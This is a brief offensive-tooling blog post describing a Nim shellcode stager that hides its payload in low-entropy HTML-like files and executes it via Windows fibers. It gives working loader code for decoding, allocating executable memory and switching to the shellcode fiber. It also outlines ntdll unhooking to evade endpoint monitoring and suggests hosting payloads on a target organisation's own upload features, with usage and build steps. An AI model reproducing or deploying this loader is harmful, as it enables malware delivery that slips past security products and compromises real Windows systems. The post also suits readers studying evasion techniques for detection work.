# tl;dr
This short post provides an example of a Nim stager that uses Windows fibers (https://docs.microsoft.com/en-us/windows/win32/procthread/fibers) for code execution.
Code available on https://github.com/zimnyaa/fiber-stager
# staging protocol
Easiest-to-use stagers usually are able to work with just retrieving a file, as it is then possible to use not just public file-sharing services, but file upload functionality of your target organization's webapps. However, to make writing stagers simple, the files usually just contain a blob with encoded shellcode.
I wanted to keep the staging protocol as simple as possible on the receiving side, and also avoid high-entropy blobs. The simple solution I came up with was to break down Base64-encoded shellcode with HTML special characters to lower the entropy. This allows decoding to be as simple as:
> *decoding.nim*
> ```
> for ch in encoded_sh:
> if isAlphaNumeric(ch):
> sh_str.add(ch)
elif ch == '_': # nim literally cannot decode urlsafe base64
> sh_str.add('/')
elif ch == '-':
> sh_str.add('+')
>sh_str = sh_str[4 .. sh_str.len - 5]
>var missing_padding = len(sh_str) mod 4
if missing_padding > 0:
sh_str &= repeat('=', 4 - missing_padding)
I wanted to avoid recreating complex XML grammar, but to make the output a little bit more pretty, I've used a simple discrete-time Markov chain (just a finite automaton with randomness, https://en.wikipedia.org/wiki/Markov_chain):
>![[Pasted image 20220131163132.png]]
>an ugly Markov chain sketch (x denotes the next alphanumeric character)
The result file is saved as `.html` and can be grabbed from anywhere.
# shellcode execution
The awesome Winim library contains bindings for fibers, as well, so it was really easy to use those:
```nim
var mainFiber = ConvertThreadToFiber(nil)
var shellcodeLocation = VirtualAlloc(nil, cast[SIZE_T](shellcode.len), MEM_COMMIT, PAGE_READWRITE);
CopyMemory(shellcodeLocation, &shellcode[0], shellcode.len);
var shellcodeFiber = CreateFiber(cast[SIZE_T](0), cast[LPFIBER_START_ROUTINE](shellcodeLocation), NULL);
var oldprotect: ULONG
VirtualProtect(shellcodeLocation, cast[SIZE_T](shellcode.len), PAGE_EXECUTE_READ, &oldprotect)
SwitchToFiber(shellcodeFiber);
```
The stager also borrows ntdll.dll unhooking (AMSI/ETW bypass copy-pasting is left as an excercise to the reader) from OffensiveNim, adapted to use syscalls for VirtualProtect. The unhooking process is done as follows:
```j
MapViewOfFile (ntdll.dll) ->
LoadFreshCopy ->
Syscall(NtProtectVirtualMem) ->
memcpy ->
Syscall(NtProtectVirtualMem)
```
## usage
`python3 encoder.py <shcode_file>` to encode the shellcode (AES encryption coming soon™).
Upload the resulting `<shcode_file>.html` somewhere and change the URL in the fiberstager (you can also regenerate the `syscalls.nim` file with NimlineWhispers2)
fiber-stager is built with just `nim c` and your preferred flags. **dependencies:** winim, ptr_math
# credits
@[ajpc500](https://github.com/ajpc500) for NimlineWhispers2
@[khchen](https://github.com/khchen) for Winim
@[byt3bl33d3r](https://github.com/byt3bl33d3r) for the ntdll unhooking example